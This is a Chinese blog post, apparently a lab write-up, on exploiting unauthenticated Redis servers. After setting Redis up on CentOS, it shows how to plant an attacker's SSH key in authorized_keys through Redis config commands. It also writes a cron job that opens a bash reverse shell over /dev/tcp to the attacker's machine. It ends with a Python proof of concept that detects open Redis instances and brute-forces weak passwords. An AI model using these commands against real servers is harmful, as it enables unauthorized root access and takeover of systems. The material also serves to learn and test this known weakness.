redis未授权访问总结

Centos搭建redis

首先,搭建redis,进行安装.以下为安装步骤:
1下载安装包命令为wget http://download.redis.io/releases/redis-2.8.17.tar.gz
2 tar xzvf redis-2.8.17.tar.gz #解压安装
3 cd redis-2.8.17 # 进入redis目录
4 make #编译
5 cd src/
cp redis-cli /usr/bin/ #将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
cd …
cp redis.conf /etc/ #将redis.conf拷贝到/etc/目录下
redis-server /etc/redis.conf # 使用/etc/目录下的redis.conf文件中的配置启动redis服务
便可成功启动服务
在这里插入图片描述
在这里插入图片描述

Apache和php安装

稍后补充

redis未授权访问漏洞复现

在攻击机kail当中 输入命令redis-cli -h 192.168.33.132 -p 6379

在这里插入图片描述
会发现 无法连接,这里的原因是Centos的防火墙没关,关闭防火墙后,会是这个

在这里插入图片描述

到此,redis未授权漏洞复现完成

redis未授权访问利用getshell方式

1 写入ssh进行getshell
需要条件:知道启动服务的用户
拥有.ssh目录
允许使用基于密钥认证的方式登陆
执行命令ssh-keygen -t rsa
,得到应该写入的公钥在这里插入图片描述
输入命令(echo -e “\n\n”; cat root.pub;echo -e “\n\n”) > 1.txt然后将生成的公钥保存在相应的txt文档中(相当于再公钥前端和后端都加入字符\n\n)

在这里插入图片描述

登录redis使用命令keys * 查看keys,然后config get dir 获取当前用户路径
set x +公钥写入
在这里插入图片描述
![(如果当前用户没有.ssh文件夹,执行ssh localhost就有了)
更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh或者是/home/user/.ssh)
设置上传公钥的备份文件名字为authorized_keys:
在这里插入图片描述
执行命令sava然后进行ssh连接
成功ssh进行连接

在这里插入图片描述
(如果ssh无法连接 大概率是服务器端/etc/ssh/sshd_config配置文件不准密钥登录或者设置/home/wang/.ssh/authorized_keys为600权限)

利用定时任务进行反弹shell

再攻击机kail上面执行nc -lvnp 444进行监听
然后分别执行一下命令

set xxx “\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.33.129/4444 0>&1\n\n”
config set dir /var/spool/cron
config set dbfilename wang
save
过一分钟便可收到shell
在这里插入图片描述

写入webshell方式进行连接

稍后补充

redis未授权访问的poc

#! /usr/bin/env python

import socket
import sys
def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send(“INFO\r\n”)
result = s.recv(1024)
if “redis_version” in result:
return u"未授权访问"
elif “Authentication” in result:
file = open(“passwd.txt”)
for passwd in file.readlines():
pass = passwd.strip(’\n’)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send(“AUTH %s\r\n” %(pass))
result = s.recv(1024)
if ‘+OK’ in result:
return u"存在弱口令,密码:%s" % (pass)
file.close()
except Exception, e:
pass
if name == ‘main’:
ip=sys.argv[1]
port=sys.argv[2]
print check(ip,port, timeout=10)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值